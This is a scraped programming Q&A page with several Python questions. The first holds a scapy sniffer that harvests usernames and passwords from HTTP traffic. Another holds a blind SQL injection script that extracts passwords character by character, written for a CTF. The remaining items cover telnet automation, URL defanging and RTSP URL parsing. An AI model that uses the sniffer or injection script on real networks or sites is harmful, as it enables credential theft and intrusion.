scapy sniff with special characters - python-3.x

Hi i have written below program, it is sniffing packets and i could see username and passwords and URLs, but when i enter password with special character i am getting like this "%21" can somebody please help...
#!/bin/python3
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
return url
def get_login_info(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
#load = str(load)
keybword = ["usr", "uname", "username", "pwd", "pass", "password"]
for eachword in keybword:
if eachword.encode() in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request>>" + str(url))
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username and password >>" + str(login_info) + "\n\n")
sniff("eth0")
root#kali:~/python_course_by_zaid# ./packet_sniffer.py
[+] HTTP Request>>b'testing-ground.scraping.pro/login?mode=login'
[+] Possible username and password >>b"b'usr=admin&pwd=123456%21%40
it supposed to print 123456!#

The problem is that the password is URL-encoded. Essentially some characters cannot be put into the URL like ! and #, so they are escaped with a %.
If you URL-decode these strings prior to printing them, you'll get the expected result. In Python3, you can decode like so:
# script.py
import urllib.parse
result = urllib.parse.unquote("123456%21%40")
print(result)
Running it we get:
$ python script.py
123456!#

Related

Python3 telnetlib - telnet with username and password and then execute other commands

I would like to be able to telnet, input login and password credentials and then execute commands once connected but my code seems to not continue after password is entered.
import getpass
import telnetlib
HOST = "172.25.1.1"
user = input("Enter your remote account: ")
password = getpass.getpass()
tn = telnetlib.Telnet(HOST)
tn.read_until(b"login: ")
tn.write(user.encode('utf-8') + "\n")
if password:
tn.read_until(b"Password: ")
tn.write(password.encode('utf-8') + "\n")
tn.write(b"command to be issued")
print(tn.read_all())
with this code I want to telnet, input login credentials, input password, and once connected issue a command
Looks like the problem was a timing issue, I needed to import time and add time.sleep(2) after issuing the command before print(tn.read_all()).

Validating if user input is already sanitised

I've been working on a mini project with Python3 and tkinter recently that is used to sanitise URLs and IP addresses. I've hit a roadblock with my function that I cannot workout. What I am trying to achieve is:
Has a user entered a URL such as http://www.google.com or https://www.google.com and if so, sanitise as:
hxxp[:]//www[.]google[.]com or hxxps[:]//www[.]google[.]com
Has a user entered an IP address such as 192.168.1.1 or http://192.168.1.1 and sanitise as:
192[.]168[.]1[.]1 or hxxp[:]//192[.]168[.]1[.]1
Has a user entered already sanitised input? Is there unsanitised input along with it? If so, just sanitise the unsanitised input and print them to the results output Textbox.
I have included a screenshot of what is currently happening to my normal input, after input is sanitised and how I want to handle the above issues.
Also: Is the .strip() in the OutputTextbox.insert line redundant?
I appreciate any help and recommendations!
def printOut():
outputTextbox.delete("1.0", "end")
url = inputTextbox.get("1.0", "end-1c")
if len(url) == 0:
tk.messagebox.showerror("Error", "Please enter content to sanitise")
if "hxxp" and "[:]" and "[.]" in url or "hxxps" and "[:]" and "[.]" in url:
outputTextbox.insert("1.0", url, "\n".strip())
pass
elif "http" and ":" and "." in url:
url = url.replace("http", "hxxp")
url = url.replace(":", "[:]")
url = url.replace(".", "[.]")
outputTextbox.insert("1.0", url, "\n".strip())
elif "https" and ":" and "." in url:
url = url.replace("https", "hxxps")
url = url.replace(":", "[:]")
url = url.replace(".", "[.]")
outputTextbox.insert("1.0", url, "\n".strip())
elif "http" and ":" and range(0, 10) and "." in url or range(0, 10) and "." in url:
url = url.replace("http", "hxxp")
url = url.replace(".", "[.]")
outputTextbox.insert("1.0", url, "\n".strip())
The expression like A AND B AND C IN URL will has result like A AND B AND (C IN URL), not what you expect that A, B, C are all found in URL.
You can use re (regex module) to achieve what you want:
import re
def printOut():
outputTextbox.delete("1.0", "end")
url = inputTextbox.get("1.0", "end-1c")
if len(url) == 0:
messagebox.showerror("Error", "Please enter content to sanitise")
result = url.replace("http", "hxxp")
result = re.sub(r"([^\[]):([^\]])", r"\1[:]\2", result)
result = re.sub(r"([^\[])\.([^\]])", r"\1[.]\2", result)
outputTextbox.insert("end", result, "\n")
There may be better regex for that.

How can I pass a .txt file to arguments in Python?

I'm trying to find a way to be able to pass a .txt file to the users argument. I've tried using (fromfile_prefix_chars='#') but without any luck. (It read the file but it doesn't read the whole list) It'll only work if there's only 1 username in the list.
I want it to read the first username in the list, get the password and then switch to the next username in the list.
This is for a ctf i'm working on.
Thank you!
import requests
import argparse
import pyfiglet
from pyfiglet import Figlet
custom_fig = Figlet(font='aquaplan')
print(custom_fig.renderText('XCRACKER'))
from argparse import ArgumentParser
parser = ArgumentParser(fromfile_prefix_chars='#')
parser.add_argument("-t", "--url", help="target")
parser.add_argument("-p", "--proxy", help="Proxy with port")
parser.add_argument("-u", "--users", help="User name list")
args = parser.parse_args()
print( "url {} proxy {} users {} ".format(
args.url,
args.proxy,
args.users,
))
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!##$%^&*()"
for user in args.users:
data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"}
request = requests.post(args.url, data=data, proxies={'http':args.proxy})
length = len(request.text)
p4ss = ''
for i in range(1,25):
for l in letters:
data = {"Username": '', "Password": "' or username= '" + "{}".format(args.users) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)}
request1 = requests.post(args.url, data=data, proxies={'http':args.proxy})
if "{}#".format(args.users) in request1.text and len(request1.text) != 6756:
print("Positive response for user '{}' , the letter is: '{}' trying the next one...".format(args.users, l))
p4ss += l
print(str(i))
print(str(p4ss))
pass

How to split text between multiple characters in Python?

I have a log file with the following information:
RTSP0 rtsp://admin:******#192.168.0.104:554/onvif1
where, 'admin' is the username, '******' is the password, '192.168.0.104' is the camera IP and '554' is the camera port. I want to extract these values separately and store these values in different variables, which will later be parsed to the GUI.
Since there are multiple characters in the line, I'm not sure how I can split them.
Is there any way to do so?
How about regex?
import re
regex = re.compile(r".*//(?P<username>\S+):(?P<password>.*)#(?P<ip_address>.*):(?P<port>.*)/")
data = "RTSP0 rtsp://admin:******#192.168.0.104:554/onvif1"
for match in regex.finditer(data):
username = match.group('username')
password = match.group('password')
ip_address = match.group('ip_address')
port = match.group('port')
print(
"Username: {0}\nPassword: {1}\nIP Address: {2}\nPort: {3}"
"".format(username, password, ip_address, port)
)
The result is:
Username: admin
Password: ******
IP Address: 192.168.0.104
Port: 554
You could use urllib.parse:
>>> from urllib.parse import urlparse
>>> o = urlparse('rtsp://admin:******#192.168.0.104:554/onvif1')
>>> o
ParseResult(scheme='rtsp', netloc='admin:******#192.168.0.104:554', path='/onvif1', params='', query='', fragment='')
>>> o.username
'admin'
>>> o.password
'******'
>>> o.hostname
'192.168.0.104'
>>> o.port
554

Python code for telnetting DUT needs further optimization

I need to further optimize my code in Python.
I was earlier executing commands on the Device Under Test step by step which was a lot as I also required sleep timers. However I was able to minimize it through a list and calling elements of the list in a for loop:
I need your inputs to further optimize this code:
ConfigListBFD = ['conf t' , 'int Fa1/0' , 'ip address 10.10.10.1 255.255.255.0', 'no shut']
for i in ConfigListBFD:
tn.write(i.encode('ascii') + b"\n")
print (i, "command entered successfully")
time.sleep(2)
Please note: I am telnetting the DUT as ssh is not supported.
i am using this optimized common code for telnet. we can create a common file where you can add this method
import telnetlib
import time
def telnet(host):
user = <username>
password = <password>
try :
tn = telnetlib.Telnet(host)
except :
print("Unable to connect")
sys.exit()
tn.read_until(b"Username:") # read until username prompt
tn.write(user.encode('ascii') + b"\n")
if password:
tn.read_until(b"password:") #read until password prompt
tn.write(password.encode('ascii') + b"\n")
tn.read_until(b"#")
return tn #return telnetlib handle
than import this method to another file, where we write our script

Resources